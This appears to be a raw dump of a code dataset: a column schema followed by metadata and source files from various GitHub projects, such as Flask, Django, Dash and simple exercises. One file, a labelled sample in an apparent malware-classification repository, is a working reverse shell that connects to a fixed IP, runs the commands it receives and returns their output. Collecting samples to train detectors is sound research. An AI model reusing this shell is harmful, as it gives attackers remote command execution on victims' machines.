blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
220 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
257 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
884cc588e8613418d6e38335716aadf8320bf7d1
f1ad2ff0061f67540ae0723a65c6e1238e9ca77f
/brainminer/base/api.py
9ab5865150d1a9442943b8b3293af060688cb8c7
[]
no_license
rbrecheisen/brainminer
efb89b0d804196a7875fadd3491a9cb7e6cb0428
2f5d7bd53ba4761af1f67fa7bd16e2c6724feb7d
refs/heads/master
2021-01-20T19:08:42.447425
2017-06-22T08:28:57
2017-06-22T08:28:57
34,522,617
0
0
null
null
null
null
UTF-8
Python
false
false
4,737
py
from flask import g, Response from flask_restful import Resource, HTTPException, abort from brainminer.auth.exceptions import ( MissingAuthorizationHeaderException, UserNotFoundException, UserNotActiveException, InvalidPasswordException, SecretKeyNotFoundException, SecretKeyInvalidException, TokenDecodingFailed...
[ "ralph.brecheisen@gmail.com" ]
ralph.brecheisen@gmail.com
caa47e63c849de90540d07f3e09c1d7dbb9a06d3
de4c2e0cf3f54e05ddbc4fa52ae602f6f34fee42
/models/state.py
38e3945133c69d05867cce27be1e65a162394f21
[]
no_license
leobyeon/AirBnB_clone
04a19d8a3117ada75c83b509cddc4f3111dcc68f
6edc67944b99af46cae6d65a94a845ad8c7ba5b4
refs/heads/master
2020-04-08T09:22:45.570725
2018-11-30T17:10:30
2018-11-30T17:10:30
159,221,015
0
1
null
null
null
null
UTF-8
Python
false
false
221
py
#!/usr/bin/python3 """class State that inherits from BaseModel""" from models.base_model import BaseModel class State(BaseModel): """class State - inherits from BaseModel - Public class attr - name""" name = ""
[ "anovacap@yahoo.com" ]
anovacap@yahoo.com
ce24083ed8d0e1c5ff4d7de8984e67f9edb7d26f
a8b38079cd7517284306f6df2543b554f0776d27
/backend/api/catalog/service/catalog_sercive.py
a008b08ee4c43bd18c4154f3934022aee3629012
[]
no_license
Edlison/Library-Management
0db658be7ebe66b8674da434d07d65e6f18195a5
bca4894b1e79987c38f0fcf75722c8c3176fb8c8
refs/heads/main
2023-03-18T17:10:06.986698
2021-03-09T18:38:09
2021-03-09T18:38:09
324,115,409
0
0
null
null
null
null
UTF-8
Python
false
false
452
py
from backend.api.catalog.mapper.catalog_SQL import search_book_class def create_catalog_id(book_class): #假设每种书有两个书架 #每个书架有五层 #每层可以放20本书 #设计catalog_id count = len(search_book_class(book_class))+1 if count//100 > 1: return "0" else: catalog_id = book_class + '-' + str(count//1...
[ "ncepuzwq@163.com" ]
ncepuzwq@163.com
b6bcce36c244e1dcbe8b1d8f45d74d97147ca717
8a4a4cab76ddf1b19a017c3e5c765caf9a5fe3cc
/swagger_client/rest.py
25b9436f7d19c7a00f89c6444071a08bfa2dbbb2
[]
no_license
ibuler/testsdk
fa724ff129e2a6144c05b8330cd4014c8bfb9a58
015bc6ca7da64180a2a11756a4e7cce733aca806
refs/heads/master
2020-06-23T09:02:50.322517
2019-07-25T05:51:26
2019-07-25T05:51:26
198,577,933
0
0
null
null
null
null
UTF-8
Python
false
false
13,160
py
# coding: utf-8 """ Jumpserver API Docs Jumpserver Restful api docs # noqa: E501 OpenAPI spec version: v1 Contact: support@fit2cloud.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import io import json import logging import re i...
[ "ibuler@qq.com" ]
ibuler@qq.com
690db84d52b3c9e5c0ba0cd8cae411d9a50e54d5
d152bbe5ab49bf4864fed1a81a696cba911eeb5e
/env/bin/django-admin.py
c866a5401b67657b3f1188944fe3200c42e67036
[]
no_license
SanjayaBista/Ecommerce
298d88c7a48177c529aa667f8fe54bdd805186be
1cc9fc7bde3bc8f2769d70476648302058e36320
refs/heads/master
2023-07-08T20:12:47.423166
2021-08-11T07:35:39
2021-08-11T07:35:39
389,492,311
0
0
null
null
null
null
UTF-8
Python
false
false
683
py
#!/home/sanjay/Desktop/Ecommerce/env/bin/python3 # When the django-admin.py deprecation ends, remove this script. import warnings from django.core import management try: from django.utils.deprecation import RemovedInDjango40Warning except ImportError: raise ImportError( 'django-admin.py was deprecated...
[ "Sanjaybista681@gmail.com" ]
Sanjaybista681@gmail.com
6afa12447439a57111bd4960968f54eb2b23402e
ceff7a65dea36af543620140b3f9eea944ceef26
/PythonSchCodeRepo/query_simulation.py
6233ffa97a5e3ccbf74fe63f769a78faf7bf9f16
[ "MIT" ]
permissive
AndreBerglundUmU/SchCodeRepo
4fb4cacb30b4204e80ab3ccde2fec59949d5b5d5
264b86ad781fbb7f69118c082b8fa444e68362b3
refs/heads/master
2020-03-11T18:58:52.099893
2018-07-10T11:29:02
2018-07-10T11:29:02
130,193,566
0
0
null
null
null
null
UTF-8
Python
false
false
2,533
py
#! /usr/bin/env python import numpy as np import validation_functions as vf # import randomstate as rnd # Might be necessary for parallel rng generation # https://pypi.org/project/randomstate/1.10.1/ # example # workers.simulation(L,M,T,N,sigma,u0Fun,schemes.PSLieSpl,[queries]) if queries is one query # import impor...
[ "andre.berglund@umu.se" ]
andre.berglund@umu.se
af3e7dc076dc9b0657b39e4c6ba1ec600f321c7e
385a8c52f416401e2bca1f3e5051d15274e6885f
/project/yelp-elt-py/venv/lib/python3.7/site-packages/pyspark/mllib/clustering.pyi
a88f1420dcde699c1a3d232a6ac7c9e80ad57e2c
[]
no_license
guilhermebsa/data-engineering-databricks
ecc47e51a07af26db6c2b6f338f29ef4366cefd3
6c71746eaf7de16a5750a6dab2ffc70da017e464
refs/heads/master
2022-09-06T23:54:44.197177
2020-05-30T00:42:25
2020-05-30T00:42:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,947
pyi
# Stubs for pyspark.mllib.clustering (Python 3.5) # from typing import overload from typing import Any, List, NamedTuple, Optional, Tuple, TypeVar import array from numpy import float64, int64, ndarray # type: ignore from py4j.java_gateway import JavaObject # type: ignore from pyspark.mllib._typing import VectorL...
[ "luanmorenomaciel@hotmail.com" ]
luanmorenomaciel@hotmail.com
04f49a4a47c3e50ee9097e36a5be52bee5f7c066
5d3c77ca59b0b508e59efe4011575d298375b29f
/components/functions.py
9a99bd8493bfa899ba00641595d6391e00491280
[]
no_license
luisg/dash_sample_dashboard
f10581362dfdf23666c5430f03b958b996d6db00
c93cef5030aef79fa581d98179dec1ce0b20a6f1
refs/heads/master
2023-08-25T04:56:00.893608
2021-10-10T03:18:27
2021-10-10T03:18:27
399,231,842
0
0
null
2021-08-23T19:55:58
2021-08-23T19:55:57
null
UTF-8
Python
false
false
53,904
py
from datetime import datetime as dt from datetime import date, timedelta from datetime import datetime import plotly.graph_objs as go from plotly import tools import numpy as np import pandas as pd pd.options.mode.chained_assignment = None # Read in Travel Report Data df = pd.read_csv('data/performance_analytics_cost...
[ "davidmichaelcomfort@gmail.com" ]
davidmichaelcomfort@gmail.com
d2f11112aa4444d315a9fefdaf4f9e4b969216af
eef3e9c180b4103d21ed3be5a0509d20e61db4ea
/ex21.py
b4af835600e5415f75efc5d0c2bc3fcecb1bc922
[]
no_license
timkao/historical-python
2bf7408e3de674b8eae66c4ebf1de729932a90aa
689b61d4669c7dbf2179389147e5423268b7e708
refs/heads/master
2021-01-19T09:08:03.042740
2017-04-09T17:25:52
2017-04-09T17:25:52
87,725,661
0
0
null
null
null
null
UTF-8
Python
false
false
689
py
def add(a, b): print "Adding %d and %d" % (a, b) return a + b def substract(a, b): print "Substracting %d and %d." % (a, b) return a - b def multiply(a, b): print "Multiplying %d and %d." % (a, b) return a * b def divide(a, b): print "Dividing %d / %d." % (a, b) return a / b print "Let's...
[ "pakuya.kao@gmail.com" ]
pakuya.kao@gmail.com
f86d33a76b9e67bcea189aaa32c97afad80a6b31
8c17782ca72b88d37f820a3e225ee94fb64619e0
/entryPoint.py
a36b3b385eaeecb8aed4503fe85a9e563fa7e46c
[]
no_license
ibrabon/EquilibriumNash
45fe684e68eaf41a15c8865579f5276a6178187f
5c235a7183a80a51b5515c4905e19b3959c38b1c
refs/heads/master
2021-01-21T14:09:01.471140
2016-06-20T21:14:23
2016-06-20T21:14:23
57,928,235
1
0
null
null
null
null
UTF-8
Python
false
false
894
py
from datetime import datetime import nash import util ClientInput = util.fromFileToMap(util.parse().filePath) GovernmentPayoffs = ['Government', ('L', 'L', 0), ('L', 'H', -1), ('H', 'L', 0.5), ('H', 'H', -0.5)] PublicPayoffs = ['Publi...
[ "alexikaev@gmail.com" ]
alexikaev@gmail.com
b38abaf92c7d1f91be93c4ef67efb856b99cfd37
a0c60ddc96fb2ee56a697a8b830b59f755b56c71
/apps/pages/views/pages_view.py
744b32d334f48795483bc50e49cd6fccd23c2618
[ "MIT" ]
permissive
SLCPython/coalio
392dc4145afffa1590770b868ec1d9efb051408f
ced77d2cec491bab4e33af019c2ca724b1a2bdda
refs/heads/master
2021-01-22T03:13:00.626796
2014-02-06T00:26:28
2014-02-06T00:26:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
420
py
#encoding: utf-8 from django.shortcuts import render from pages.models import Page def view_pages(request): template_name = "pages/list.html" ctx = {} ctx['pages'] = Page.objects.all() return render(request, template_name, ctx) def view_page(request, slug): template_name = "pages/page.html" c...
[ "mikeliu639@gmail.com" ]
mikeliu639@gmail.com
1238222396bb2e84cf3f2afd3712af594fd5d4d3
13ba85e446bdb31d25a8f2233907dc5d57b578e4
/evaluation.py
33ae5368e69c8ab208f484af0803945439a92723
[]
no_license
Weile-Chen/Risk-factor-labeling-in-Chinese-medical-record-text
953b21e2fd189db96687e03e86c9e8449bf5cbc5
f3bccdd24f2a14079ed56621f41a144b4de3d95b
refs/heads/master
2022-02-25T12:05:44.265349
2019-10-13T15:10:54
2019-10-13T15:10:54
214,834,778
1
0
null
null
null
null
UTF-8
Python
false
false
779
py
from utils.conlleval import evaluate import pickle class evaluation(): def __init__(self,label_dict_path): self.y_pred = [] self.y_true = [] with open(label_dict_path, 'rb') as f: self.label_dict = pickle.load(f) def add(self, y_pred_, batch_y_ture): self.y_pred +=...
[ "gegemachen@gmail.com" ]
gegemachen@gmail.com
6b0459789eb1d9aadd13f4c00c7c8f9357d43cd5
ff900167e5b36301ee89beb2fb56f4c0c47a12a4
/PowerSupplyProgram/Version 1/JCcodegraphics.py
f800ef0a8d9349b72c257b95cdffe6f06b7d7b71
[]
no_license
ademola-adekunle/Programming
aeaf8eccc70773214e83107f0bdd5f60500990d3
d6608fb8b51651ba6278806b07903074a611b81e
refs/heads/master
2023-01-15T09:45:36.396726
2020-07-17T16:45:18
2020-07-17T16:45:18
280,471,304
0
0
null
null
null
null
UTF-8
Python
false
false
11,667
py
import matplotlib matplotlib.use ("TkAgg") from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg from matplotlib.figure import Figure import matplotlib.animation as animation import Tkinter from Tkinter import * import tkMessageBox import datetime import os import random import time ...
[ "ademola.adekunle@mail.mcgill.ca" ]
ademola.adekunle@mail.mcgill.ca
89e8c2862eb94d0971d240632f6c974a62b9c46d
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5658282861527040_0/Python/xsot/b.py
837b18be5ec2789529bff938d391f3cd34053ff6
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
255
py
for TC in range(1, int(raw_input()) + 1): a, b, k = map(int, raw_input().split()) ans = 0 for i in range(a): for j in range(b): if i&j < k: ans += 1 print "Case #%d: %d" % (TC, ans)
[ "eewestman@gmail.com" ]
eewestman@gmail.com
0682516f2179e263d15d82dac220ebb9ffc32e3a
575d197af5bbc31b89df37f8733e81707294948c
/testing/examples/pytest/average02/average.py
7712c0b8238a9ff4df9a5ca62e89b42e9e85eee6
[]
no_license
tisnik/python-programming-courses
5c7f1ca9cae07a5f99dd8ade2311edb30dc3e088
4e61221b2a33c19fccb500eb5c8cdb49f5b603c6
refs/heads/master
2022-05-13T07:51:41.138030
2022-05-05T15:37:39
2022-05-05T15:37:39
135,132,128
3
2
null
2021-04-06T12:19:16
2018-05-28T08:27:19
Python
UTF-8
Python
false
false
158
py
"""Výpočet průměru.""" def average(x): """Výpočet průměru ze seznamu hodnot předaných v parametru x.""" return sum(x) / float(1 + len(x))
[ "ptisnovs@redhat.com" ]
ptisnovs@redhat.com
8125047f5291f3456565b3484d94eceda88f6a06
d06556490f9cac5d4843d4753965a59874ca2451
/debias/utils/training.py
ac187b341a3b76481812cdf59259900622985b08
[]
no_license
grayhong/bias-contrastive-learning
7ff72af743b20582e44118729ab61d530e4af164
35562b6d700356c3a3c7346781f0310ca38f6fd1
refs/heads/master
2023-08-20T08:23:34.386037
2021-10-26T15:39:07
2021-10-26T15:39:07
421,264,384
22
6
null
null
null
null
UTF-8
Python
false
false
827
py
import numpy as np import torch class GradReverse(torch.autograd.Function): @staticmethod def forward(ctx, x): return x.view_as(x) @staticmethod def backward(ctx, grad_output): return grad_output.neg() * 0.1 def grad_reverse(x): return GradReverse.apply(x) class EMA: def _...
[ "andante072@gmail.com" ]
andante072@gmail.com
4d0dac39959fe9af6b0ac34deb4b198a2b0eb6eb
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad239.py
a5aa6c4e78002837e16dae145993a43d6d06ef7e
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
288
py
import socket import lzma import subprocess import crypt s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
96ff574b95f5a766ddb8f1c29359df0e7d4e1ced
9e1ee346554add6eeb8e2a8477d556c4d16d3f56
/pymanopt/tools/autodiff/_tensorflow.py
de470faaf27a60c787670b41a8fdf7548055513b
[ "BSD-3-Clause" ]
permissive
plcrodrigues/pymanopt
41e2a1f0726a95ef91787b9cbc977541ef5ba6df
542a3a41b4d5cb464e6e92bb732c4906ffe84e8d
refs/heads/master
2020-12-24T07:02:20.773266
2016-11-15T18:01:55
2016-11-15T18:01:55
73,384,545
0
0
null
2016-11-10T13:27:02
2016-11-10T13:27:02
null
UTF-8
Python
false
false
2,913
py
""" Module containing functions to differentiate functions using tensorflow. """ try: import tensorflow as tf from tensorflow.python.ops.gradients import _hessian_vector_product except ImportError: tf = None from ._backend import Backend, assert_backend_available class TensorflowBackend(Backend): def...
[ "git@sweichwald.de" ]
git@sweichwald.de
a0da9721a3949e0987120a926d9073cf5045f418
f68065baf489013c926dcfea9994878716d19586
/manage.py
15344070d0319c35fadbabae09a94c0ef757a5c3
[]
no_license
groyce/pots
06667fdc686b74a897c42879cbed5803e9efb154
ac839943c84c3135cb4596a8f734e4a061086e10
refs/heads/master
2020-04-10T01:42:55.863071
2018-12-06T19:47:18
2018-12-06T19:47:18
160,723,310
0
0
null
null
null
null
UTF-8
Python
false
false
540
py
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'TinyPots.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are...
[ "groyce@unomaha.edu" ]
groyce@unomaha.edu
0de92bbf70351c4902859d65773f4d634b5846de
42fdf741bf64ea2e63d1546bb08356286f994505
/macrocab_ex1/rasp30a_gen8.py
77a2b1bf37536997c1508fe95edb997127f4633c
[]
no_license
skim819/RASP_Workspace_sihwan
7e3cd403dc3965b8306ec203007490e3ea911e3b
0799e146586595577c8efa05c647b8cb92b962f4
refs/heads/master
2020-12-24T05:22:25.775823
2017-04-01T22:15:18
2017-04-01T22:15:18
41,511,563
1
0
null
null
null
null
UTF-8
Python
false
false
1,439
py
self.dev_pins = {'fgota_in':2,'ota_buf_in':1,'ota_in':2, 'cap_in':1, 'nfet_in':2, 'pfet_in':2,'tgate_in':2,'mux4_1_in':8, 'nmirror_in':1,'ladder_blk_in':2, 'c4_blk_in':2,'Nagating_blk_in':2,'speech_in':3,'gnd_out_in':2,'vdd_out_in':2,'in2in_x1_in':3,'in2in_x6_in':13,'volt_div_in':2,'integrator_in':3,'integrator_nmirro...
[ "ubuntu@ubuntu-VirtualBox.(none)" ]
ubuntu@ubuntu-VirtualBox.(none)
eab6072d65498bbccca47bce108b12232a5bb85f
b07da14cf7bfca47f0d67de1f462eaa0d547248b
/src/chaos_service/config/config_storage.py
6149ab4fbaed09af4c01c5db942666dec225f7ea
[ "BSD-2-Clause" ]
permissive
glimsil/chaos-service
2e3e714fe235e1269907902936adff567e9dca7d
0f4f9fa3e1202ae869a1915e38a1607b2c34f626
refs/heads/main
2023-01-14T04:06:18.277446
2020-11-21T23:50:42
2020-11-21T23:50:42
314,880,470
0
0
null
null
null
null
UTF-8
Python
false
false
2,011
py
import json import os from pathlib import Path class ConfigStorage: DATA = {} def get_config(self): return self.DATA def create_config(self, chaos_type, start_at_request, chance_of_sucess, chance_of_sucess_until_hit): if(start_at_request is not None): start_at_request = in...
[ "gusdlim@gmail.com" ]
gusdlim@gmail.com
2bb086330b7f4dd508234e0930ada3535b5724cc
3fe4fff429aea7177443c8ae1b46715c9b456dea
/Logistics Map.py
2ad122d62448f6de7258cafb9cd50dd613a02115
[]
no_license
ppauly554/power-code
f15b101c6f7ac0f893244a20944fab4831af0d44
fc09aba005035cb5eda982eb2f6a07571e8a80d3
refs/heads/master
2023-01-13T01:41:41.910956
2020-11-12T18:11:23
2020-11-12T18:11:23
265,694,473
0
0
null
null
null
null
UTF-8
Python
false
false
1,373
py
import matplotlib.pyplot as plt # Xn+1 = l * Xn(1-Xn) # Zn + 1 refers to a recursion of the same formula but with Xn being the return # l is a rate of growth # Xn is population density # /* CHANGEABLE const_Xn = .5 # */ lam = 0 # the rising x value; short for lambda Xn = const_Xn # Is a constant to grab from co...
[ "noreply@github.com" ]
ppauly554.noreply@github.com
7dee876309c29b379e49ec85f9936c63a7294e00
5a2505df4006685305bd945d897f09aba0ff44ca
/workflow/rules/Star.smk
cb5488e8e30df5934e1e55add18d418e8989af5a
[]
no_license
jensenrichardson/rna-seq
4352a49722aec44de6418a67e62a088f85b37d06
dd15681bcec74e0538a259bf8926f8f9185e0e1c
refs/heads/main
2023-04-05T08:49:00.096590
2021-04-17T18:01:24
2021-04-17T18:01:24
344,293,055
0
0
null
null
null
null
UTF-8
Python
false
false
1,516
smk
import pandas as pd import ast #configfile: "config.yaml" samples = pd.read_table(config["samples_tsv"], converters={"files": ast.literal_eval}).set_index("sample_name", drop=False) wildcard_constraints: sample ="|".join(samples.index.tolist()) rule STAR_Map: input: lambda wildcards: samples.loc[wildca...
[ "jensen.richardson@utexas.edu" ]
jensen.richardson@utexas.edu
54c53c759cd37e22b3b3f9b8db78a68f122b8701
e0660d7a6125bece559e1564921dd29fe0f1506c
/hexlistserver/forms/textarea.py
a1f2ae9adcfe4d66835f2d99a080a495476c179d
[]
no_license
yvan/hexlistserver
ba0b661941549cfce1d5fd5a36ad908a9872238a
cf96508bc7b926eba469629254e4b5cc81470af3
refs/heads/master
2021-01-19T10:08:32.833174
2017-08-04T03:46:29
2017-08-04T03:46:29
55,884,098
0
0
null
null
null
null
UTF-8
Python
false
false
294
py
from flask.ext.wtf import Form from wtforms.fields import TextAreaField, SubmitField from wtforms.validators import DataRequired class TextareaForm(Form): links = TextAreaField('Links', validators=[DataRequired()], render_kw={"placeholder": "Put your links here..."}) ''' author @yvan '''
[ "yvanscher@gmail.com" ]
yvanscher@gmail.com
3391c475e16d71109fe8fe67607f060a4889946b
511a44754de5ab15a4255e7c0a815cb42161c94d
/student/loop_over_dataset_f4.py
de541d88eeaf41ec27ca8e00c01fae874c9ad155
[]
no_license
jckuri/Sensor-Fusion-and-Object-Tracking-2
3a8f08861afbfebaae18224ccc9ff6a39bc62a19
ec4a17a1169078894ad26e0da9cf2ddbc4cab547
refs/heads/main
2023-03-13T08:03:49.573918
2021-03-03T22:42:25
2021-03-03T22:42:25
343,414,018
7
1
null
null
null
null
UTF-8
Python
false
false
12,535
py
# --------------------------------------------------------------------- # Project "Track 3D-Objects Over Time" # Copyright (C) 2020, Dr. Antje Muntzinger / Dr. Andreas Haja. # # Purpose of this file : Loop over all frames in a Waymo Open Dataset file, # detect and track objects and visualize re...
[ "noreply@github.com" ]
jckuri.noreply@github.com
05b37dd3624e73336c6b81e8da5a0dd4f1c2fe24
19014913b06ee78a9d6f660e240e6e730f5881cb
/demo_Tensorflow.py
8ba6e9c635a9b00a630ef4b272660e9bbb0fb51f
[]
no_license
tomtum/tomMLdocker
2537f8cfa529a90d8aa379eaa2070fe3952d3cb8
fe566a0c653d23c4e3839d3d17ba8532b42972a8
refs/heads/master
2022-11-18T03:14:52.841711
2020-07-16T05:51:12
2020-07-16T05:51:12
279,957,519
0
0
null
null
null
null
UTF-8
Python
false
false
2,740
py
from tensorflow.compat.v1 import ConfigProto from tensorflow.compat.v1 import InteractiveSession config = ConfigProto() config.gpu_options.allow_growth = True session = InteractiveSession(config=config) import numpy as np import tensorflow as tf from tensorflow import keras from tensorflow.keras import layers print(...
[ "noreply@github.com" ]
tomtum.noreply@github.com
bdce97010d7f2cc1d977a6177f6f4078187f8988
4b4beafc14f4356ddf129a489ab844ad0d5acce5
/tests/test_version.py
b213c0fcdfb83afe3add540422c8bd742992eda6
[ "Apache-2.0" ]
permissive
usethecodeluke/flask-dynamo-session
c87f98253e751b88aeddf6c60c2d6e6c6af458cc
8e4aee30e2c5aedc57841c1a460311a7ff6e0cd1
refs/heads/master
2021-06-22T08:40:34.423007
2017-08-17T01:16:46
2017-08-17T01:33:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
137
py
# -*- coding: utf-8 -*- from flask_dynamo_session import __version__ def test_version(): assert __version__.__version__ == "0.0.3"
[ "jaustinpage@gmail.com" ]
jaustinpage@gmail.com
188af7978c552c163eb8fa4d0b71263513ef23a6
17c1e9c4a062753bfe1d74fb060acaf20e59a490
/ScatterplotGraph1.py
abc57ff5ebacd4d1c98bcbfdbb3ac14f4c508bd5
[]
no_license
Jacky-He/Big-Data-Challenge-2020
bbdfc118c04c95fa0c8094b8bb4fcfbf1a54cb09
2e3ebfdcd0d36bd418b98b155da928f915933c62
refs/heads/master
2020-12-03T19:58:15.759893
2020-01-03T17:45:55
2020-01-03T17:45:55
231,465,334
0
0
null
2020-01-02T21:52:29
2020-01-02T21:52:28
null
UTF-8
Python
false
false
1,653
py
import plotly import plotly.graph_objs as go from scipy import stats import numpy as np X_COORDS = [] Y_COORDS = [] DATA = [] def initialize_coords(): f= open("SeaTemperature.txt","r") f1 = f.readlines() for i in f1: date = int(i[:4]) temperature = float(i[5:i.index("°C")-1]) X_CO...
[ "itangdav@gmail.com" ]
itangdav@gmail.com
8b78ae719000c0e93829dba114026dc7f34a0ed6
0f44a0be796ed48788d4f5f88e17739b62db3823
/src/python/stopword_generation/stopword_generation_service.py
e05a132f66734666d628da567180ef8ef885d787
[]
no_license
MatthewMawby/SearchIndex
602784aeafc3a6e8c5913f001871f1e0e20ea3cb
fd36bf377d37c148e6e42bc333fb029220b584a7
refs/heads/master
2021-08-28T23:26:38.046910
2017-12-13T08:36:34
2017-12-13T08:36:34
108,444,408
1
3
null
2017-12-12T08:36:53
2017-10-26T17:33:58
Python
UTF-8
Python
false
false
225
py
from stopword_generator import StopWordGenerator def stopword_handler(event, context): sw = StopWordGenerator() sw.generate_stopwords() sw.add_stopwords_table() tokens = sw.get_stop_words() return tokens
[ "chens16@rpi.edu" ]
chens16@rpi.edu
b23a38e200b3dc9fb46a0e97a2cc86b567769a9c
a25386f2d296e566d11736c7ab60c7e13fdfe26b
/Hartals.py
0a59e1ceab23c91eabeec09efad2d974cc70ebbc
[]
no_license
janbro/Python
a28e033966023869cac44ab0fead74cd7ac2eb65
9132afa39145d00d0e65ec5b5dec3bb2b5e1f22d
refs/heads/master
2022-03-14T14:23:12.943576
2015-07-04T23:35:10
2022-02-04T21:30:04
12,556,637
0
0
null
null
null
null
UTF-8
Python
false
false
394
py
#Multiples of political parties numbers #Not on days divisible by 7 or (/7)-1 #count days, subtract days on fri/sat day = 100 multiples = [7*x for x in xrange(0,day/7)] for x in xrange(0,len(multiples)): multiples.insert(x,multiples[x]-1) parties = [12,15,25,40] tot = 0 for num in parties: tot+=day/num for...
[ "amunoz797@gmail.com" ]
amunoz797@gmail.com
8ae455ea1617bc34443e42a092bb73e2aaba14e6
85f8fdc093b4a7e2c2bf06baa434eb5d5e7981a2
/medica/settings.py
8e93de6fb754dc320f3843b43e896ff50acdf94b
[]
no_license
DRGuillen/ClinicaMedica
d2a282d45efe5a3638c0a12bc32fffad803261cc
11871f38c17d64fc6565ab47140706d7a2d0af3c
refs/heads/main
2023-08-26T13:12:21.745186
2021-11-10T07:04:09
2021-11-10T07:04:09
426,494,411
0
0
null
null
null
null
UTF-8
Python
false
false
3,813
py
""" Django settings for medica project. Generated by 'django-admin startproject' using Django 3.0.1. For more information on this file, see https://docs.djangoproject.com/en/3.0/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.0/ref/settings/ """ import os # ...
[ "dickguillen13@hotmail.com" ]
dickguillen13@hotmail.com
f8146ab2ae40e6fc2848bac16c862804609f2c02
e21c70d5b03633b4e0a89dfccb0cb8ccd88612d0
/venv/lib/python3.5/site-packages/eventlet/zipkin/http.py
668c3f9e380a1d9abd740ffae72959c8b26fde56
[ "MIT" ]
permissive
LavanyaRamkumar/Networking-app_Dynamic-Quiz
4d5540088b1e2724626dda8df0fd83442391b40f
4de8329845712864d3cc8e8b81cfce5a1207224d
refs/heads/master
2023-02-09T12:08:19.913354
2019-10-26T04:23:54
2019-10-26T04:23:54
173,337,916
1
1
MIT
2023-02-02T04:48:55
2019-03-01T16:56:13
Python
UTF-8
Python
false
false
1,789
py
import warnings from eventlet.support import six from eventlet.green import httplib from eventlet.zipkin import api # see https://twitter.github.io/zipkin/Instrumenting.html HDR_TRACE_ID = 'X-B3-TraceId' HDR_SPAN_ID = 'X-B3-SpanId' HDR_PARENT_SPAN_ID = 'X-B3-ParentSpanId' HDR_SAMPLED = 'X-B3-Sampled' if six.PY2: ...
[ "lavanya.ramkumar99@gmail.com" ]
lavanya.ramkumar99@gmail.com
00d81dc750626862dd6db1686f28e546fccad057
9fd1df8895ecd7659fa5eddd10f85d76bb25fa3a
/kdt.py
e69e95be7dc63610b4b64ee34beccd65a4ef3673
[]
no_license
rkwitt/PyDSTK
f625aa5d88fbf85d10447a58709350f6800d6685
3451915e8edb6579f0ed8292d8763cf05760eb77
refs/heads/master
2021-01-16T18:10:05.261657
2013-07-30T18:20:02
2013-07-30T18:20:02
11,612,541
2
0
null
null
null
null
UTF-8
Python
false
false
3,896
py
################################################################################ # # Library: pydstk # # Copyright 2010 Kitware Inc. 28 Corporate Drive, # Clifton Park, NY, 12065, USA. # # All rights reserved. # # Licensed under the Apache License, Version 2.0 ( the "License" ); # you may not use this file except in co...
[ "roland.kwitt@kitware.com" ]
roland.kwitt@kitware.com
9c3288ac5063927f7133d7dd8a080db6f6ec75b4
4fa215b90fa024f13b0aadca31455eea98b8f5ad
/biztube.py
6c17d721b52c53d67d1ca981c8c90807f2cfc03a
[]
no_license
bart-nathan/bizfeed
5d2e009186c93fde052f33a166c9f66da1e09948
25620f210666e79c8a0597cb819ef8a3003720a8
refs/heads/master
2023-04-14T21:46:18.614881
2021-04-18T08:16:44
2021-04-18T08:16:44
355,972,562
0
0
null
null
null
null
UTF-8
Python
false
false
3,218
py
#!/usr/bin/python import feedparser import os import sys from datetime import datetime feed_list = [] feed_list.append(["Explaining Computers", "https://www.youtube.com/feeds/videos.xml?user=explainingcomputers"]) feed_list.append(["Udstødt", "https://www.youtube.com/feeds/videos.xml?channel_id=UCfuFrEavX-B7FIcC5geJU...
[ "johnson_bart@protonmail.ch" ]
johnson_bart@protonmail.ch
d2e00d2a9b375a702acdbaa30a85f5ac72d288cb
2e9d98c56aacf2caf813582a973a10f3900bc685
/PyTutorial-For_While.py
d42dddb23ede5a65136a1d7fd70c31c548a55f8e
[]
no_license
dodonnell-code/Python
d819b0758d58c6caeb6cf05fe09b6d62b3c4e39e
1e681058e414480fa80b2994336e22aa61e6891a
refs/heads/master
2020-07-24T21:50:58.661020
2019-09-12T20:16:23
2019-09-12T20:16:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,199
py
